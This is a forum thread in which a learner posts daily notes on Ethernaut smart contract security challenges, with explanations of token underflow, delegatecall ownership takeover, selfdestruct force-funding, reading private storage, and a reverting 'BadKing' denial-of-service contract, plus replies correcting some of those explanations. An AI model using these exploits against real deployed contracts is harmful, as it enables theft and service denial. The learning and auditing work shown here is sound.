My Coding Journey: From Finance to Smart Contract Auditor

Day 10 (delayed post due to poor internet): Unit testing was more difficult than expected. I feel I haven't made much progress since yesterday because I am unsure how to use the slither VSCode extension (or maybe I am using it right?). I've run the extension on basic smart contracts and aside from "Error: Error in workspace "[my github remote repo name]" the results come back with no further error.

While I read further documentation and watch a few YouTube videos to get a better understanding of Slither in unit testing (alongside mutation testing - which I don't really understand what it is as a concept or how to use it), I've used .eslintrc.js and a prettier config to clean up my code. Being fairly new to coding and open source projects, I didn't really know these sorts of files were necessary to show others how the code is formatted for ease of readability.

1 Like

Day 11: I need a bit of a break from unit testing so I've resumed Ethernaut challenge titled 'Token'

Objective
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Contract

  • an older version of Solidity is being used here (0.6.0 as opposed to 0.8.0);
  • unit values of balances are mapped to an address and the TotalSupply of balances are displayed;
  • the constructor initialises with an _initialSupply that is a product of the msg.sender's balances, which is also the total supply of tokens;
  • the transfer function is able to send a value to an address, which is publicly noted as true or false based on the following conditions: 1) the msg.sender's balances subtract a value is >=0; 2) the msg.sender's balances are adjusted by the value amount; and 3) when the third party address recevied the value, this amount is added to their balance; and
  • the 'balanceOf' fuction gives the address of the owner and returns its balance.

Solution
This one required me to do some extra reading on version 0.6.0. In particular, looking into how overflows and underflows are treated in older versions of solidity (see day 4 post explaining these concepts). In short, if you call the 'transfer' function from an address with a balance of 0, the underflow will create a value such that it satisfies the condition that the _value is greater than 0. This means that the increment applied to the balance of the msg.sender is added to rather than subtracted.

Happy to go into more of a technical explanation of this one as needed. Otherwise interested to hear others' thoughts!

1 Like

The Day 9 and Day 10 posts above focus on testing.
Yet, they provide no technical details (test code) to be referenced by anyone addressing them.

For example, in the previous post, you've shared the contract (Lock.sol) instead of the test (Lock.js).
Ideally you should provide them both of course, but in the context of testing, you should by the least provide the relevant testing code.

BTW, you should share the relevant code in PLAINTEXT only.
These screenshots make it very hard to address anything of what you're describing and/or asking.
The reader cannot easily copy-paste the relevant details into a response to your question, nor can they easily view the entire question, as the image requires an additional click in order to go into it, and an additional click in order to go back to the rest of the question.

1 Like

A few things:

  • I understand your point on posting the relevant code but at that stage I was showcasing the environment I was working with so others beginning their journey can read the blog use it as a point of reference;
  • noted on posting the Lock.sol instead of Lock.js but at that stage the test file was a pro forma copy automatically generated from Hardhat and of no value to anyone. I will absolutely be posting the Lock.js once I have successfully conducted my unit test;
  • perhaps the message of Day 10 wasn't too clear. I was more so outlining that I'd run into an error and was attempting to troubleshoot in the background, as opposed to posting meaningless code and, asking for a quick fix. I more so wanted resources on how others came to grips with Web3 unit testing (either by videos or documentation); and
  • great point on posting in Plaintext, I didn't consider this.

I really do appreciate you taking the time to contribute to this blog and your insights into numerous topics!

2 Likes

Day 12:

The Challenge
Become the owner of the Delegate contract.

The code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

Contracts
Delegate

  • the owner's address is publicly callable;
  • as the constructor initialises the contract, it specifies the address of the owner; and
  • the publicly viewable 'pwn()' function (taking no parameters) specifies that the owner is the msg.sender.

Delegation

  • the owner of this contract also has their address publicly callable;
  • I had difficulty understanding the purpose of 'Delegate delegate' is here (any explanations welcome);
  • the constructor sets a delegate address, setting a variable of delegate to contain the delegate's address and in this case the contract owner is the msg.sender; and
  • a fallback function is specified, meaning if the Delegate contract receives a message that is not handled by any of its functions (i.e. pwn() whereby nothing in the contract relates to this function) this function is called; and
  • within the fallback function the msg.data inside the delegate's address is modified by Delegation.

The Solution
This solution was complex for me so I'll lay out some fundamentals I learnt:

  • the issue lies with the delegatecall, low-level function (i.e. a function that allows a contract to invoke a function in another contract);
  • delegatecall returns true as its first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed;
  • EVM considers a call to a non-existing contract to always succeed, so Solidity includes an extra check to ensure that the contract about to be called either actually exists (it contains code) or an exception is raised; and
  • delegatecall uses an addresses rather than contract instances (i.e. do not include this second check, which may make them cheaper in terms of gas but also less safe).

So with all the above in mind - if you call the pwn() function, it will trigger the fallback function meaning a user becomes the msg.sender and therefore, the owner. I found reading the Documentation for this really enjoyable and it was satisfying to trace this delegatecall call through the contract. I thought that OpenZepplin's explanation was also very well put:

ith delegatecall, your contract is practically saying "here, -other contract- or -other library-, do whatever you want with my state". Delegates have complete access to your contract's state.

This has been one of the best challenges yet, especially when I read more about the Parity Wallet Hack that put this exercise into a context.

1 Like

Publicly executable would be the correct description.

Publicly viewable can be interpreted as either one of the following options:

  1. A public view (read) function
  2. A function whose code is publicly viewable on a web2 explorer such as etherscan, etc

The 1st option is obviously not the case in your contract.
The 2nd option is outside the current context (it is not an onchain aspect).


It's a pointer to a Delegate contract instance, which upon the deployment of your contract (i.e., in your contract's constructor), is set to point to the address of an already-deployed Delegate contract instance.

Contract pointers are essentially of address type, which means that an offchain script querying your contract to retreive that pointer, will receive in return the pointed address, which it can then use in order to construct a local object illustrating that contract and allowing to conveniently interact with it.

In onchain terms, however, as you write your contract code, you can use this pointer in order to (conveniently) call functions on the pointed contract.

So in short:

  • In terms of runtime, a contract pointer is just an address
  • In terms of compilation-time, a contract pointer lets you "natively" interact with the pointed contract

BTW, you forgot to specify its visibility-level, i.e., either one of the following:

  • Delegate public delegate;
  • Delegate private delegate;
  • Delegate internal delegate;
2 Likes

Thank you so much for the clarification on both points, not only were they immensely helpful but your description of contract pointers was a real "ah ha!" moment!!

1 Like

NP, just note that most people don't refer to them as "pointers", this is just the terminology which I personally find the most suitable (just in case you ever get into a related discussion).

1 Like

Day 13:

Challenge
Get a contract to accept Eth despite it being empty.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

Solution
After having a chuckle, I think the name of the contract gave the answer away.
Whilst looking at documentation for the other Ethernaut challenges I noticed a consistent warning about 'selfdestruct(address)'. To save others the time, this instruction will destroy the current contract and send the balance of the contract to an address taken as an argument. Implementing it was quite easy and looked as follows:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Boom {
    
    constructor (address payable target) payable {
        selfdestruct(target);
    }
}

To practically deploy this contract, enter the target's address into the deploy function in Remix (ensuring that the value is >0 and for a cheapskate like me it was 1 wei). This will ensure that the Force contract will have an Eth balance greater than 0, thus completing the challenge.

The entire transaction can be followed on Etherscan for those interested.

1 Like

Noted! I can see the logic behind calling them pointers, certainly reads easier than 'address type'!

2 Likes

For an address to be able to receive ETH, it has to be either one of the following:

  • An address where no contract (no bytecode) is deployed at
  • An address of a contract which implements a payable fallback function
  • An address of a contract which implements a payable receive function

Hence, as far as I can see, passing the address of the Force contract as input to the constructor of the Boom contract... should revert the transaction.


The transaction-link that you've posted might show a counterexample of what I wrote above, but this link doesn't quite seem to work, so it's a little difficult to look into it:

1 Like

I take your first point but I'd note that the use of payable functions is only one of three ways a contract can receive ETH. The other two being either: mining rewards or, from a destroyed contract (hence, selfdestruct).

So in this case, as you've correctly pointed out, this is an empty contract with no way to receive ETH as a direct transfer. By making the Boom contract capable of receiving ETH, once you self destruct the Boom contract (specifying the address of the Force contract) it forwards the ETH to Force.

I'm not sure why the link doesn't work in my previous post but try this link instead. Otherwise, the transaction hash you can enter on Etherscan is:

0x41f5e297b18973e534fb96d9f018f3079d8900c6af72e3a7d0d99942dc1e42c9

1 Like

Ah yeah, I forgot about that option.

Another option for a contract which doesn't implement a receive or fallback function to hold ETH, is for such contract to be deployed at an address which already holds ETH.

For example, you have an EOA (externally-owned account, aka wallet), with which you are going to deploy your "non payable" contract.

Based on the address and the nonce of your EOA, you calculate the address which your contract is going to be deployed at.

You transfer ETH to that address, and only then deploy your contract, and voila - your "non payable" contract holds ETH.

1 Like

That is a super interesting point! It may be me nerding out a bit but did you have a technical explanation for why that is possible?

1 Like

Sorry, I do not follow your question, can you please rephrase it?

1 Like

Day 14:

Challenge
Unlock the vault to pass the level!

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

Contract breakdown

  • to allow the constructor to initalise the contract, you must enter the _password that is a 'unknown' given its 'bytes32 private' specification;
  • 'locked = true' is the condition that 'locks' the contract (the condition allowing the contract to be lockable is seen at 'bool public locked'); and
  • the publicly executable function 'unlock' takes a parameter of the same _password, whereby the condition is that if the password is an exact match to _password, the locked status becomes 'false' and the user may interact with the contract.

To easily understand this contract, start with the constructor and see how variables are passed to 'locked' and 'password' in the lines above (as I have above).

Solution
Look to the first storage slot of the Vault contract via web3.eth. What this looks like practically is entering the command await web3.eth.getStorageAt(contract.address, 1) into the console of Ethernaut, receiving the password and entering that into the Unlock function once the contract has been deployed.

Before submitting the challenge, its important to familiarise yourself with what storage is in the context of a smart contract. How I understand it is: storage makes up the “database” of smart contract (which is basically loads of slots (a unit of storage) that are 32 bytes long). Importantly, we deal with these slots rather than individual bytes in smart contract to efficiently contain the complex state of variables (so one variable is one slot - hence password was the first 32 byte variable defined).

A great resource for understanding EVM Storage can be found here. I found this challenge super difficult and found myself at one stage looking to create another contract that simply changed the visibility of certain functions! I learnt a lot from this one and don't be disheartened because I had to look up external sources after a good 45mins!

1 Like

Sorry I meant what is the technical explanation behind why a contract that doesn't implement a receive or fallback function to hold ETH, able to receive it at an address that already holds ETH? Is this a product of the specific EOA?

Also, why are you checking the nonce of your EOA? How are you calculating the address of your contract (do you mean looking to deploy your contract at the same location as the EOA?).

Several reasons which come to mind:

  1. It is technically difficult to prevent this
  2. There is no added value in preventing this
  3. It hasn't occurred to those who designed the EVM at the time

I suppose that any combibation of these reasons may be the case.


No, that's not feasible (or the entire encryption scheme which etherum is based on is compromised).

The address of a contract is calculated based on the address and the nonce of the account which deploys that contract.

It can be an EOA (externally-owned account) which deploys the contract from an offchain script (for example, via web3.js).

And it can be an SCA (smart-contract account) which deploys the contract onchain (for example, via the new keyword in solidity).

In either case, the deploying account has an address and a nonce ascribed to it, based on which the address of the deployed contract is calculated.

Hence, one can tell the address of a contract before deploying it.

1 Like

Day 15:

I'm shaking it up a bit today and wanting to delve a bit deeper on an issue that isn't new to Web3 but seems to be experiencing a re-surgency in popularity amongst crypto security forums. The issue to be discussed is Rug Pulls (also known as a Honeypot scheme).

What is it?
A Rug Pull in the Web3 space describes a circumstance not too dissimilar from the TradFi concept of a 'pump and dump' scheme whereby a malicious actor attracts third party funds, only to suddenly shut down or disappear, taking investor assets with them. It is particularly common when said malicious actor creates a cryptocurrency, manages to get it listed on a Decentralised Exchange, and then link it to a major cryptocurrency like Ethereum.

My proposed solution
Whilst many malicious cryptocurrencies may go unnoticed by the security team at a DEX, I proposed that users can severely mitigate their risks by following a few basic diligence principles:

  • look to a token chart (or other indicators like token count);
  • check the rationale behind the tokens creation (is it actually used for projects, is it a meme coin?);
  • take a step back and think if there is a sense of urgency or bombardment being created by a user (or group of users) to buy the token?; and
  • doing a basic check of the Token's code to see if it replicates a very similar project or made deliberately hard to read.

Questions
I wanted to know others' thoughts on the mitigation strategies I've proposed. If mine are rubbish or greatly oversimplified, let me know so I can better understand.

Bumping into this issue frequently has also made me realise I don't know nearly enough about the fundamentals of a liquidity pool / swaps!! I'm going to do some further readings on these topics, alongside posting a breakdown of the code in relation to these concepts in the coming days. But if anyone wanted to have a crack at explaining the technical details behind these concepts please go ahead.

1 Like

Day 16:

Instructions
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

The Breakdown

  • the king is the msg.sender, which is a payable address;
  • the prize is the msg.value that is a publicly readable uint;
  • the owner is also the msg.sender and is a publicly readable address;
  • the constructor ensures each the king, owner and prize are payable (meaning they are a function that can receive ETH);
  • 'receive' is a fallback function taking no parameters that is publicly executable and requires the msg.value to be greater than the prize amount, or that the msg.sender is equal to the owner;
  • the msg.value is paid to the king and the msg.sender is now the king (thus winning the prize of the msg.value); and
  • the king function is a publicly viewable and returns the address of the king.

Solution
This was a really tricky challenge, admittedly I didn't pick up on the vulnerability for this contract and had to look up solutions. From my understanding the central takeaway is that you are depending on the others' contract code to handle the transaction and determine the transaction’s success. So even if you meet all the requirements of the code, your transaction can still arbitrarily fail.

To make the submission of the contract arbitrarily fail you implement a payable fallback function which immediately reverts the transaction. A solution offered was as follows:

contract BadKing {
    King public king = King(YOUR_LEVEL_ADDR_HERE);
    
    // Create a malicious contract and seed it with some Ethers
    function BadKing() public payable {
    }
    
    // This should trigger King fallback(), making this contract the king
    function becomeKing() public {
        address(king).call.value(1000000000000000000).gas(4000000)();
    }
    
    // This function fails "king.transfer" trx from Ethernaut
    function() external payable {
        revert("haha you fail");
    }
}

The issue I am having is understanding the purpose of the 'becomeKing' function and the 'function() external payable' lines / how they work together. I need some handholding for this solution so feel free to dissect my answer and offer your own explanations / solutions!!

1 Like